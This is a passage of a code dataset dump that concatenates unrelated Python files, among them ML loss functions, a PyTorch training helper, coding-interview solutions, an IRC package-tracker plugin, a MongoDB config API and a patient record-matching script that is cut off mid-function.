np.zeros([batch_size, self.Y_dim, self.Y_dim])\n tril[:, self.tril_idx[0], self.tril_idx[1]] = tril_elements\n log_diag_tril = np.diagonal(tril, offset=0, axis1=1, axis2=2) # [batch_size, Y_dim]\n logdet_term = -np.sum(log_diag_tril, axis=1) # [batch_size,]\n tril[:, np.eye(self.Y_dim).astype(bool)] = np.exp(log_diag_tril)\n prec_mat = np.matmul(tril, np.transpose(tril, [0, 2, 1])) # [batch_size, Y_dim, Y_dim]\n y_diff = mu - target # [batch_size, Y_dim]\n mahalanobis_term = 0.5*np.sum(\n y_diff*np.sum(prec_mat*np.expand_dims(y_diff, -1), axis=-2), axis=-1) # [batch_size,]\n loss = logdet_term + mahalanobis_term + 0.5*self.Y_dim*log_2_pi\n if reduce:\n return np.mean(loss, axis=0) # float\n else:\n return loss # [batch_size,]\n\n def nll_mixture(self, target, mu, tril_elements, mu2, tril_elements2, alpha):\n \"\"\"Evaluate the NLL for a single Gaussian with a full but low-rank plus diagonal covariance matrix\n\n Parameters\n ----------\n target : np.Tensor of shape [batch_size, Y_dim]\n Y labels\n mu : np.Tensor of shape [batch_size, Y_dim]\n network prediction of the mu (mean parameter) of the BNN posterior for the first Gaussian\n tril_elements : np.Tensor of shape [batch_size, self.tril_len]\n network prediction of the elements in the precision matrix\n mu2 : np.Tensor of shape [batch_size, Y_dim]\n network prediction of the mu (mean parameter) of the BNN posterior for the second Gaussian\n tril_elements2 : np.Tensor of shape [batch_size, self.tril_len]\n network prediction of the elements in the precision matrix for the second Gaussian\n alpha : np.Tensor of shape [batch_size, 1]\n network prediction of the logit of twice the weight on the second Gaussian \n\n Note\n ----\n The weight on the second Gaussian is required to be less than 0.5, to make the two Gaussians well-defined.\n\n Returns\n -------\n np.Tensor of shape [batch_size,]\n NLL values\n\n \"\"\"\n batch_size, _ = target.shape\n log_ll = np.empty([batch_size, 2], dtype=None)\n alpha = alpha.reshape(-1)\n log_ll[:, 0] = np.log1p(2.0*np.exp(-alpha)) - log_2 - np.log1p(np.exp(-alpha)) - self.nll_full_rank(target, mu, tril_elements, reduce=False) # [batch_size]\n # np.log(np.tensor([0.5])).double()\n log_ll[:, 1] = -log_2 + self.logsigmoid(alpha) - self.nll_full_rank(target, mu2, tril_elements2, reduce=False) # [batch_size], 0.6931471 = np.log(2)\n log_nll = -logsumexp(log_ll, axis=1)\n return np.mean(log_nll)\n\nclass DiagonalGaussianNLLCPU(BaseGaussianNLLCPU):\n \"\"\"The negative log likelihood (NLL) for a single Gaussian with diagonal covariance matrix\n \n `BaseGaussianNLLCPU.__init__` docstring for the parameter description.\n\n \"\"\"\n posterior_name = 'DiagonalGaussianBNNPosterior'\n\n def __init__(self, Y_dim):\n super(DiagonalGaussianNLLCPU, self).__init__(Y_dim)\n self.out_dim = Y_dim*2\n\n def __call__(self, pred, target):\n sliced = self.slice(pred)\n return self.nll_diagonal(target, **sliced)\n\n def slice(self, pred):\n d = self.Y_dim # for readability\n sliced = dict(\n mu=pred[:, :d],\n logvar=pred[:, d:]\n )\n return sliced\n\nclass FullRankGaussianNLLCPU(BaseGaussianNLLCPU):\n \"\"\"The negative log likelihood (NLL) for a single Gaussian with a full-rank covariance matrix\n \n See `BaseGaussianNLLCPU.__init__` docstring for the parameter description.\n\n \"\"\"\n posterior_name = 'FullRankGaussianBNNPosterior'\n\n def __init__(self, Y_dim):\n super(FullRankGaussianNLLCPU, self).__init__(Y_dim)\n self.tril_idx = np.tril_indices(self.Y_dim) # lower-triangular indices\n self.tril_len = len(self.tril_idx[0])\n self.out_dim = self.Y_dim + self.Y_dim*(self.Y_dim + 1)//2\n\n def __call__(self, pred, target):\n sliced = self.slice(pred)\n return self.nll_full_rank(target, **sliced, reduce=True)\n\n def slice(self, pred):\n d = self.Y_dim # for readability\n sliced = dict(\n mu=pred[:, :d],\n tril_elements=pred[:, d:d+self.tril_len]\n )\n return sliced\n\nclass DoubleGaussianNLLCPU(BaseGaussianNLLCPU):\n \"\"\"The negative log likelihood (NLL) for a mixture of two Gaussians, each with a full but constrained as low-rank plus diagonal covariance \n \n Only rank 2 is currently supported. `BaseGaussianNLLCPU.__init__` docstring for the parameter description.\n\n \"\"\"\n posterior_name = 'DoubleGaussianBNNPosterior'\n\n def __init__(self, Y_dim):\n super(DoubleGaussianNLLCPU, self).__init__(Y_dim)\n self.tril_idx = np.tril_indices(self.Y_dim) # lower-triangular indices\n self.tril_len = len(self.tril_idx[0])\n self.out_dim = self.Y_dim**2 + 3*self.Y_dim + 1\n\n def __call__(self, pred, target):\n sliced = self.slice(pred)\n return self.nll_mixture(target, **sliced)\n\n def slice(self, pred):\n d = self.Y_dim # for readability\n sliced = dict(\n mu=pred[:, :d],\n tril_elements=pred[:, d:d+self.tril_len],\n mu2=pred[:, d+self.tril_len:2*d+self.tril_len],\n tril_elements2=pred[:, 2*d+self.tril_len:-1],\n alpha=pred[:, -1]\n )\n return sliced","sub_path":"h0rton/losses/gaussian_nll_cpu.py","file_name":"gaussian_nll_cpu.py","file_ext":"py","file_size_in_byte":8651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"233049538","text":"# Author Toshihiko Aoki\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Training and evaluate helper.\"\"\"\n\nimport os\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader, SequentialSampler\nfrom tqdm import tqdm\nfrom . utils import set_seeds, save, load, get_device\n\n\nclass Helper(object):\n\n def __init__(self, seeds=20151106, device=None, fp16=False):\n super().__init__()\n set_seeds(seeds)\n self.num_gpu = 0\n\n if device is not None:\n self.device = device\n else:\n self.device = torch.device(get_device())\n\n if torch.cuda.is_available() and self.device is not 'cpu':\n self.num_gpu = torch.cuda.device_count()\n\n self.fp16 = fp16 & torch.cuda.is_available()\n print(\"device: {} num_gpu: {} fp16: {}\".format(self.device, self.num_gpu, self.fp16))\n\n def set_model(self, model):\n model.to(self.device)\n if self.fp16:\n model.half()\n\n def load_model(self, model, model_path, optimizer=None):\n load(model, model_path, self.device, optimizer)\n self.set_model(model)\n\n def train(\n self,\n process,\n model,\n dataset,\n sampler,\n optimizer,\n batch_size=1,\n epochs=20,\n model_file=None,\n save_dir='train/',\n per_save_epochs=-1,\n adjustment_every_epoch=None,\n adjustment_every_step=None\n ):\n self.set_model(model)\n if self.num_gpu > 1: # not test\n model = torch.nn.DataParallel(model)\n if model_file is not None and model_file is not '':\n # optimizer attributes override\n load(model, model_file, self.device, optimizer)\n global_step = optimizer.get_step()\n model.train()\n dataloader = DataLoader(dataset, sampler=sampler, batch_size=batch_size)\n\n for e in range(epochs):\n total_loss = 0.0\n total_steps = 0\n iter_bar = tqdm(\n dataloader, desc=\"E-{:0=2} : XX.XXXX avg loss \".format(e), position=0)\n for step, batch in enumerate(iter_bar):\n batch = batch[:3]\n batch = tuple(t.to(self.device) for t in batch)\n loss = process(batch, model, iter_bar, e, step)\n\n if self.num_gpu > 1:\n loss = loss.mean()\n if self.fp16:\n optimizer.backward(loss)\n else:\n loss.backward()\n\n if adjustment_every_step is not None:\n adjustment_every_step(model, dataset, loss, global_step, optimizer)\n\n total_loss += loss.item()\n total_steps += 1\n iter_bar.set_description(\"E-{:0=2} : {:2.4f} avg loss \".format(e, total_loss / total_steps))\n optimizer.step()\n optimizer.zero_grad()\n global_step += 1\n\n if per_save_epochs > 0 and (e + 1) % per_save_epochs is 0:\n output_model_file = os.path.join(save_dir, \"train_model.pt\")\n save(model, output_model_file, optimizer)\n\n if adjustment_every_epoch is not None:\n adjustment_every_epoch(model, dataset, total_loss, total_steps, optimizer)\n return total_loss / total_steps\n\n def evaluate(\n self,\n process,\n model,\n dataset,\n sampler,\n batch_size,\n model_file=None,\n examples_reports=None,\n compute_epoch_score=None,\n adjustment_every_epoch=None,\n epochs=1,\n evaluate_score=None,\n ):\n self.set_model(model)\n if self.num_gpu > 1:\n model = torch.nn.DataParallel(model)\n if model_file is not None:\n load(model, model_file, self.device)\n print('loaded ; ' + str(model_file))\n\n model.eval()\n dataloader = DataLoader(dataset, sampler=sampler, batch_size=batch_size)\n scores = []\n for e in range(epochs):\n global_step = 0\n total_loss = 0.0\n total_steps = 0\n examples = []\n iter_bar = tqdm(dataloader, desc=\"E-{:0=2} : XX.XXXX avg loss \".format(e), position=0)\n for step, batch in enumerate(iter_bar):\n batch = batch[:3]\n batch = tuple(t.to(self.device) for t in batch)\n with torch.no_grad():\n loss, example = process(batch, model, iter_bar, step)\n examples.append(example)\n if self.num_gpu > 1:\n loss = loss.mean()\n\n total_loss += loss.item()\n total_steps += 1\n iter_bar.set_description(\"E-{:0=2} : {:2.4f} avg loss \".format(e, total_loss / total_steps))\n\n global_step += 1\n\n if examples_reports is not None:\n examples_reports(examples)\n\n if compute_epoch_score is not None:\n epoch_score = compute_epoch_score(examples)\n else:\n epoch_score = total_loss / total_steps # default loss\n\n scores.append(epoch_score)\n\n if adjustment_every_epoch is not None:\n adjustment_every_epoch(model, dataset, total_loss, total_steps)\n\n if evaluate_score is not None:\n score = evaluate_score(scores)\n else:\n from statistics import mean\n score = mean(scores) # default mean loss\n\n return score\n\n def predict(\n self,\n process,\n model,\n dataset,\n sampler=None,\n batch_size=1,\n model_file=None\n ):\n self.set_model(model)\n\n if self.num_gpu > 1:\n model = torch.nn.DataParallel(model)\n if model_file is not None:\n load(model, model_file, self.device)\n model.eval()\n\n if sampler is None:\n sampler = SequentialSampler(dataset)\n\n dataloader = DataLoader(dataset, sampler=sampler, batch_size=batch_size)\n\n predicts = []\n iter_bar = tqdm(dataloader, desc=\"XX.XXXX avg loss \", position=0)\n for step, batch in enumerate(iter_bar):\n text = batch[3]\n batch = tuple(t.to(self.device) for t in batch[:3])\n with torch.no_grad():\n _, predict = process(batch, model, iter_bar, step)\n predicts.append({\"pred\":predict[0][0], \"true\": predict[1][0][0], \"text\": text})\n return predicts\n","sub_path":"mptb/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":6974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"653824799","text":"'''\nStorage Optimization\n\nAmazon is experimenting with a flexible storage system for their warehouses. The\nstorage unit consists of a shelving system which is one meter deep with removable\nvertical and horizontal separators. When all separators are installed, each storage space\nis one cubic meter (1' x 1' x 1'). Determine the volume of the largest space when a series\nof horizontal and vertical separators are removed.\n\nExample\nn = 6\nm = 6\nh = [4]\nv = [2]\n\nConsider the diagram below. The left image depicts the initial storage unit with n = 6\nhorizontal and m = 6 vertical separators, where the volume of the largest storage space\nis 1 x 1 x 1. The right image depicts that unit after the fourth horizontal and second\nvertical separators are removed. The maximum storage volume for that unit is then 2 x 2\nx 1 = 4 cubic meters:\n\n(See PDF)\n'''\n\n\ndef storage_optimization(n: int, m: int, h: List[int], v: List[int]) -> int:\n max_h = 0\n max_w = 0\n\n h_idx = 0\n v_idx = 0\n\n prev = 0\n for hc in range(1, n + 2):\n if hc != h[h_idx]:\n max_h = max(max_h, hc - prev)\n prev = hc\n else:\n if h_idx < len(h) - 1:\n h_idx += 1\n\n prev = 0\n for vc in range(1, m + 2):\n if vc != v[v_idx]:\n max_w = max(max_w, vc - prev)\n prev = vc\n else:\n if v_idx < len(v) - 1:\n v_idx += 1\n\n return max_h * max_w\n","sub_path":"companyInterviewPractice/Amazon/AmazonOA/pdf/storageOptimization.py","file_name":"storageOptimization.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"279547673","text":"# coding=utf-8\n\nfrom __future__ import division, absolute_import, print_function, unicode_literals\nimport json\nimport datetime\nimport threading\nimport sys\n\nfrom twisted.python import log\nimport plugin\nimport plugins.packagetracker.provider_postnord\n\n__author__ = 'tigge'\n\n\nclass PackageTracker(plugin.Plugin):\n def __init__(self):\n log.msg(\"PackageTracker.__init__\")\n plugin.Plugin.__init__(self, \"PackageTracker\")\n\n self.settings = {}\n self.packages = []\n\n self.ticks = 0\n\n def started(self, settings):\n log.msg(\"PackageTracker.started\", settings)\n self.settings = json.loads(settings)\n\n plugins.packagetracker.provider_postnord.PostnordPackage.set_apikey(self.settings[\"postnord\"][\"apikey\"])\n\n def update(self):\n #log.msg(\"PackageTracker.update\")\n self.ticks += 1\n if self.ticks % self.settings[\"interval\"] == 0:\n\n for package in self.packages:\n # self.say(package.server, package.channel, package.user + \": Package update... \" + package.id)\n thread = threading.Thread(target=self.update_package, args=(package,))\n thread.start()\n\n def privmsg(self, server, user, channel, message):\n\n if message.startswith(\"!addpackage \"):\n package_id = message[12:].strip()\n self.add_package_id(package_id, server, user, channel)\n\n elif message.startswith(\"!removepackage \"):\n package_id = message[15:].strip()\n for package in list(self.packages):\n if package.id == package_id:\n self.say(server, channel, \"Package removed...\")\n break\n else:\n self.say(server, channel, \"Package not found...\")\n elif message.startswith(\"!listpackages\"):\n self.say(server, channel, \"Listing {0} packages...\".format(len(self.packages)))\n for package in self.packages:\n self.say(server, channel, str(package.id))\n\n def add_package_id(self, package_id, server, user, channel):\n package = None\n if plugins.packagetracker.provider_postnord.PostnordPackage.is_package(package_id):\n package = plugins.packagetracker.provider_postnord.PostnordPackage(package_id)\n\n if package is not None:\n package.server = server\n package.channel = channel\n package.user = user.split('!', 1)[0]\n self.add_package(package)\n self.say(server, channel, \"Package added...\")\n else:\n self.say(server, channel, \"Package not found in any provider...\")\n\n def add_package(self, package):\n package.on_event = lambda event: self.on_event(package, event)\n self.packages.append(package)\n\n def update_package(self, package):\n package.update()\n\n def on_event(self, package, event):\n self.say(package.server, package.channel,\n \"{0}: {1} - {2:%Y-%m-%d %H:%M}: {3}\".format(package.user, package.id, event.datetime,\n event.description))\n\n\nclass Package:\n class Event:\n def __init__(self):\n self.datetime = datetime.datetime(1970, 1, 1)\n self.description = \"\"\n\n def __init__(self, package_id):\n self.id = package_id\n self.last = None\n self.consignor = None\n self.consignee = None\n self.last_updated = datetime.datetime(1970, 1, 1)\n\n def on_event(self, event):\n pass\n\n def update(self):\n pass\n\n\nif __name__ == \"__main__\":\n sys.exit(PackageTracker.run())\n","sub_path":"plugins/packagetracker/packagetracker.py","file_name":"packagetracker.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"421684778","text":"# coding=utf-8\n'''\nCreated on 2015-10-13\n发起请求\n@author: kwsy2015\n'''\nimport zmq\nimport time\n\n# Prepare our context and sockets\ncontext = zmq.Context()\nsocket = context.socket(zmq.REQ)\n# 这一次,我们不连接REP,而是连接ROUTER,多个REP连接一个ROUTER\nsocket.connect(\"tcp://localhost:5559\")\n\n# 发送问题给ROUTER\nprint(1)\nfor request in range(11, 21):\n print(2)\n socket.send(b\"Hello bbbb\")\n print(3)\n message = socket.recv()\n print(4)\n time.sleep(1)\n print(\"Received reply %s [%s]\" % (request, message))\nprint(5)\nsocket.close()\ncontext.term()\n","sub_path":"zeromq/request_reply/router_dealer/client2.py","file_name":"client2.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"26404736","text":"import sqlite3\n\nfrom audit.app import db\nfrom audit.models import Location\n\n\nconn = sqlite3.connect(\"../ret107-sqlite3-v1.db\")\nc = conn.cursor()\n\nc.execute(\"SELECT itemId, itemName FROM mapDenormalize\")\nfor s in c.fetchall():\n l = Location(s[0], s[1])\n db.session.add(l)\ndb.session.commit()\n","sub_path":"tools/location_db.py","file_name":"location_db.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"197857276","text":"#TC: O(n log(n)), n: length of nums\n#SC: O(1)\nclass Solution:\n def findPairs(self, nums: List[int], k: int) -> int:\n slow = 0\n fast = 1\n count = 0\n nums.sort()\n while slow < len(nums) and fast < len(nums):\n diff = nums[fast] - nums[slow]\n if diff == k:\n count+=1\n slow += 1\n fast += 1\n while fast < len(nums) and nums[fast]==nums[fast-1]:\n fast += 1\n elif diff > k:\n slow+=1\n else:\n fast+=1\n if slow == fast:\n fast += 1\n\n return count\n\n\n","sub_path":"KDiffPairsInArray.py","file_name":"KDiffPairsInArray.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"334891087","text":"import os\nimport json\nimport sys\nfrom pymongo import MongoClient\nfrom tx.requests.utils import get\n\nmongodb_host = os.environ[\"MONGO_HOST\"]\nmongodb_port = int(os.environ[\"MONGO_PORT\"])\nmongo_database = os.environ[\"MONGO_DATABASE\"]\nmongo_collection = os.environ[\"MONGO_COLLECTION\"]\nmongo_username = os.environ[\"MONGO_NON_ROOT_USERNAME\"]\nmongo_password = os.environ[\"MONGO_NON_ROOT_PASSWORD\"]\ndefault_config = os.environ[\"DEFAULT_CONFIG\"]\npds_host = os.environ[\"PDS_HOST\"]\npds_port = os.environ[\"PDS_PORT\"]\npds_version = os.environ[\"PDS_VERSION\"]\n\ndef pdsdpi_url_base(plugin):\n return f\"http://{pds_host}:{pds_port}/{pds_version}/plugin/{plugin}\"\n\nif default_config is not None and default_config != \"\":\n default_config = json.loads(default_config)\n\nmongo_client = MongoClient(mongodb_host, mongodb_port, username=mongo_username, password=mongo_password, authSource=mongo_database)\n\n# need to add redis lock\n# need to add error handling\ndef _cache_system_config():\n config = mongo_client[mongo_database][mongo_collection].find_one({\"type\": \"system\"})\n if config is not None:\n del config[\"_id\"]\n del config[\"type\"]\n else:\n config = default_config\n mongo_client[mongo_database][mongo_collection].insert_one({\"type\": \"system\", **default_config})\n return config\n\n\ndef _cache_plugin_config(piid):\n config = mongo_client[mongo_database][mongo_collection].find_one({\"piid\": piid})\n if config is not None:\n del config[\"_id\"]\n else:\n config = get(pdsdpi_url_base(piid) + \"/config\")\n print(config)\n config = config.value\n config[\"piid\"] = piid\n if \"enabled\" not in config:\n config[\"enabled\"] = True\n mongo_client[mongo_database][mongo_collection].insert_one({**config})\n return config\n \n\ndef _get_system_config():\n return _cache_system_config()\n\n \ndef _put_system_config(body):\n _cache_system_config()\n return mongo_client[mongo_database][mongo_collection].update_one({\"type\":\"system\"}, {\"$set\": body}, upsert=True).modified_count\n\n \ndef _get_plugin_config(piid):\n return _cache_plugin_config(piid)\n\n \ndef _post_plugin_config(piid, body):\n _cache_plugin_config(piid)\n if \"piid\" in body:\n del body[\"piid\"]\n return mongo_client[mongo_database][mongo_collection].update_one({\"piid\":piid}, {\"$set\": body}, upsert=True).modified_count\n\n\ndef _delete_plugin_config(piid):\n return mongo_client[mongo_database][mongo_collection].delete_one({\"piid\":piid}).deleted_count\n\n\ndef get_config(status=\"enabled\"):\n system_config = _get_system_config()\n plugin_ids = system_config[\"piids\"]\n configs = []\n for plugin_id in plugin_ids:\n config = _get_plugin_config(plugin_id)\n enabled = config[\"enabled\"]\n if status == \"all\" or (status == \"enabled\" and enabled) or (status == \"disabled\" and not enabled):\n configs.append(config) \n return configs\n\n \ndef get_plugin_config(piid):\n if piid is None:\n system_config = _get_system_config()\n plugin_ids = system_config[\"plugin_ids\"]\n configs = []\n for plugin_id in plugin_ids:\n config = _get_plugin_config(piid)\n configs.append(config) \n return configs\n else:\n return _get_plugin_config(piid)\n\n \ndef post_plugin_config(piid, body):\n _post_plugin_config(piid, body)\n return \"\"\n\n \ndef delete_plugin_config(piid):\n _delete_plugin_config(piid)\n return \"\"\n\n \ndef get_selectors():\n system_config = _get_system_config()\n return system_config[\"selectors\"]\n\n \ndef put_selectors(body):\n _put_system_config({\n \"selectors\": body\n })\n return \"\"\n","sub_path":"api/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"19481939","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('products', '0012_auto_20150819_0038'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='tpersonalposition',\n name='personal',\n ),\n migrations.DeleteModel(\n name='tPersonalPosition',\n ),\n migrations.DeleteModel(\n name='vPersonalPosition',\n ),\n ]\n","sub_path":"products/migrations/0013_auto_20150819_0102.py","file_name":"0013_auto_20150819_0102.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"7311220","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 25 13:35:22 2017\n\n@author: aokeke\n\"\"\"\nimport time, itertools,csv,operator,copy\nimport numpy as np\nimport pickle as pkl\nimport Levenshtein as L\nimport HelperFunctions as hf\n\ntags = ['EnterpriseID','LAST','FIRST','MIDDLE','SUFFIX','DOB',\\\n 'GENDER','SSN','ADDRESS1','ADDRESS2','ZIP','MOTHERS_MAIDEN_NAME',\\\n 'MRN','CITY','STATE','PHONE','PHONE2','EMAIL','ALIAS']\n\"\"\"\nwhen looking for people of the same name and dob (findMatches2)\nalso considers alias (findMatches3)\n\"\"\"\nversion = 7\ndef loadData(fileName,badEntries,sameThing):\n print (\"Using:\",fileName)\n myFile = open(fileName)\n personDict = {'EnterpriseID':{}}\n personDict2 = {'EnterpriseID':{},\"LAST\":{},\"FIRST\":{},\"MIDDLE\":{}}\n valueCounter = {}\n for t in tags[1:]:\n personDict[t] = {}\n valueCounter[t] = {}\n myFile.readline()\n reader = csv.reader(myFile.read().split('\\n'), delimiter=',')\n for line in reader:\n\n info = line\n if len(info)!=19:\n if len(info)!=0:\n print (\"Info length:\",len(info),\"\\ninfo:\",info)\n continue\n ID = info[0]\n personDict[tags[0]][info[0]] = info\n personDict2[tags[0]][info[0]] = copy.deepcopy(info)\n \n for i in range(1,19):\n t = tags[i]\n entry = info[i]\n if t in badEntries and entry in badEntries[t]:\n entry = \"\"\n info[i] = \"\"\n if entry in sameThing[t]:\n entry = sameThing[t][entry]\n info[i] = entry\n \n #Deal with multiple PHONEs and ALIASes\n if t==\"PHONE\":\n if \"^^\" in entry:\n nums = entry.split(\"^^\")\n entry = nums[0]\n info[i] = entry\n for j,n in enumerate(nums):\n if n in personDict[t]:\n personDict[t][n].add(ID)\n valueCounter[t][n] += min(j,1) #the first one will be counted already because it is the main entry so set value to 0 in that case\n else:\n personDict[t][n] = {ID}\n valueCounter[t][n] = min(j,1)\n if t==\"PHONE2\":\n t = \"PHONE\"\n if \"^^\" in entry:\n nums = entry.split(\"^^\")\n else:\n nums = [entry]\n while info[15] in nums:\n nums.remove(info[15])\n if len(nums)>0:\n entry = nums[0]\n info[i] = entry\n for j,n in enumerate(nums):\n if n in personDict[t]:\n personDict[t][n].add(ID)\n valueCounter[t][n] += min(j,1)\n else:\n personDict[t][n] = {ID}\n valueCounter[t][n] = min(j,1)\n else:\n entry = \"\"\n info[i] = \"\"\n if t==\"ALIAS\":\n if \"^^\" in entry:\n alternates = entry.split(\"^^\")\n entry = alternates[0]\n info[i] = entry\n for j,n in enumerate(alternates):\n if n in personDict[t]:\n personDict[t][n].add(ID)\n valueCounter[t][n] += min(j,1)\n else:\n personDict[t][n] = {ID}\n valueCounter[t][n] = min(j,1)\n if entry in personDict[t]:\n personDict[t][entry].add(ID)\n valueCounter[t][entry] += 1\n else:\n personDict[t][entry] = {ID}\n valueCounter[t][entry] = 1\n \n if t in [\"LAST\",\"FIRST\",\"MIDDLE\"]:\n if personDict2['EnterpriseID'][ID][i] in personDict2[t]:\n personDict2[t][entry].add(ID)\n else:\n personDict2[t][entry] = {ID}\n \n \n myFile.close()\n return personDict,valueCounter,personDict2\n\n\n\n \ndef findMatches(personDict,personDict2):\n \"\"\"\n Find matches and skeptical matches based on EnterpriseID, SSN and PHONE\n \"\"\"\n matches = {}\n skepticalMatches = {}\n for i in range(1,19):\n if tags[i] not in ['SSN','PHONE']:\n continue\n\n dictConsidered = personDict[tags[i]]\n done = False\n\n for duplicatedEntry in dictConsidered:\n if duplicatedEntry==\"\":\n #skip the empty entries\n continue\n pairs = itertools.combinations(dictConsidered[duplicatedEntry],2)\n if done:\n break\n for p in pairs:\n if done:\n break\n\n info1 = personDict['EnterpriseID'][p[0]]\n info2 = personDict['EnterpriseID'][p[1]]\n info1b = personDict2['EnterpriseID'][p[0]]\n info2b = personDict2['EnterpriseID'][p[1]]\n k = tuple(sorted(p))\n \n if k not in matches and k not in skepticalMatches:\n if (((info1[1]==info2[1])and info1[1]!='') or((info1[2]==info2[2])and info1[2]!='') or ((info1[5]==info2[5])and info1[5]!='') ):\n score = getScorePair(info1b,info2b)\n \n \n if (abs(int(k[0])-int(k[1]))<10) and score<7:\n #This is likely not a real match\n skepticalMatches[k] = score\n else:\n #This is a real match\n matches[k] = score\n \n return matches,skepticalMatches\n \ndef findMatches2(personDict,matches,skepticalMatches,personDict2,s2=0):\n \"\"\"\n Find additonal matches using LAST, FIRST, DOB\n \"\"\"\n try:\n additionalMatches = {}\n skipCount = 0\n L1 = list(personDict['LAST'])\n L2 = list(personDict['FIRST'])\n L3 = list(personDict['DOB'])\n count = 0\n for ln in L1[:]:\n count += 1\n if count%600==0:\n print (round(100*count/len(L1),3),\"% complete [\"+str(count)+\"/\"+str(len(L1))+\"] after\",round(time.time()-s2,2),\"seconds\")\n print (len(additionalMatches),\"additional matches found so far...\",flush=True)\n if ln=='':\n continue\n LNIDs = personDict['LAST'][ln]\n for fn in L2:\n if fn=='':\n continue\n \n FNIDs = personDict['FIRST'][fn]\n toPassOn = LNIDs.intersection(FNIDs)\n if len(toPassOn)==0:\n skipCount += 1\n continue\n \n for dob in L3:\n if dob=='':\n continue\n DOBIDs = personDict['DOB'][dob]\n finalSet = toPassOn.intersection(DOBIDs)\n if len(finalSet)==0:\n skipCount += 1\n continue\n pairs = itertools.combinations(finalSet,2)\n for p in pairs:\n k = tuple(sorted(p))\n \n info1b = personDict2['EnterpriseID'][p[0]]\n info2b = personDict2['EnterpriseID'][p[1]]\n \n if (k not in matches) and (k not in skepticalMatches) and (k not in additionalMatches):\n badness = (L.distance(info1b[1],info2b[1])+L.distance(info1b[2],info2b[2])+2*L.distance(info1b[5],info2b[5]))\n score = getScorePair(info1b,info2b)\n if info1b[7]!=\"\" and info2b[7]!=\"\":\n badness+=L.distance(info1b[7],info2b[7])\n if len(info1b[12])>4 and len(info2b[12])>4:\n if info1b[12][0:4]==info2b[12][0:4]:\n badness-=2\n if badness>2 and score<5:\n continue\n \n additionalMatches[k] = score\n except KeyboardInterrupt:\n return additionalMatches\n return additionalMatches\n\ndef findMatches3(personDict,matches,skepticalMatches,additionalMatches,personDict2):\n \"\"\"\n Find extra matches using ALIAS\n \"\"\"\n dictConsidered = personDict['ALIAS']\n for alias in dictConsidered:\n if alias == \"\":\n continue\n pairs = itertools.combinations(dictConsidered[alias],2)\n for p in pairs:\n k = tuple(sorted(p))\n if (k not in matches) and (k not in skepticalMatches) and (k not in additionalMatches):\n info1 = personDict['EnterpriseID'][p[0]]\n info2 = personDict['EnterpriseID'][p[1]]\n \n info1b = personDict2['EnterpriseID'][p[0]]\n info2b = personDict2['EnterpriseID'][p[1]]\n score = getScorePair(info1b,info2b)\n if score>=7:\n additionalMatches[k] = score\n\n return additionalMatches\n\ndef getScorePair(info1,info2):\n \"\"\"\n Given two lists of people information, calculate a score based on number of \n matching fields.\n \"\"\"\n info1 = np.array(info1)\n info2 = np.array(info2)\n score = np.count_nonzero((info1==info2) & (info1!=\"\"))\n if info1[3]!=\"\" and info2[3]!=\"\" and info1[3]!=info2[3]:\n #Middle Initial vs middle name\n #Note this will count two different last names with the same first initial\n if info1[3][0]==info2[3][0]:\n score += 1\n if info1[15]!=\"\" and info1[16]!=\"\" and info1[15]!=info2[15] and info1[16]!=info2[16]:\n if L.distance(info1[15],info2[15])<=2 or L.distance(info1[16],info2[15])<=2 or L.distance(info1[15],info2[16])<=2 or L.distance(info1[16],info2[16])<=2:\n #if they swap primary and secondary phone numbers\n score += 1\n \n #Typos in LAST,FIRST,ALIAS. allow up to 2 mistakes\n for j in [1,2,18]:\n if info1[j]!=\"\" and info2[j]!=\"\" and info1[j]!=info2[j]:\n if L.distance(info1[j],info2[j])<=2:\n score += 1\n \n #Typos in DOB. allow up to 1 mistake\n if info1[5]!=\"\" and info2[5]!=\"\" and info1[5]!=info2[5]:\n if L.distance(info1[5],info2[5])<1:\n score += 1\n return score\n\ndef showInfo(p,personDict):\n \"\"\"\n Given a tuple pair of EnterpriseIDs, displays the info for both IDs\n \"\"\"\n info1 = personDict['EnterpriseID'][p[0]]\n info2 = personDict['EnterpriseID'][p[1]]\n print (\"Person A:\",info1)\n print (\"Person B:\",info2)\n\ndef saveMatches(matches,personDict,fileOutName1,fileOutName2):\n \"\"\"\n Save matches to a file\n \"\"\"\n sorted_x = sorted(matches.items(), key=operator.itemgetter(1),reverse=True)\n sorted_matches = []\n for i in sorted_x:\n sorted_matches.append(i[0])\n with open(fileOutName1, 'w', newline='') as csvfile:\n spamwriter = csv.writer(csvfile, delimiter=',')\n spamwriter.writerow(['EnterpriseID1','EnterpriseID2','MATCH_SCORE'])\n for p in sorted_matches:\n 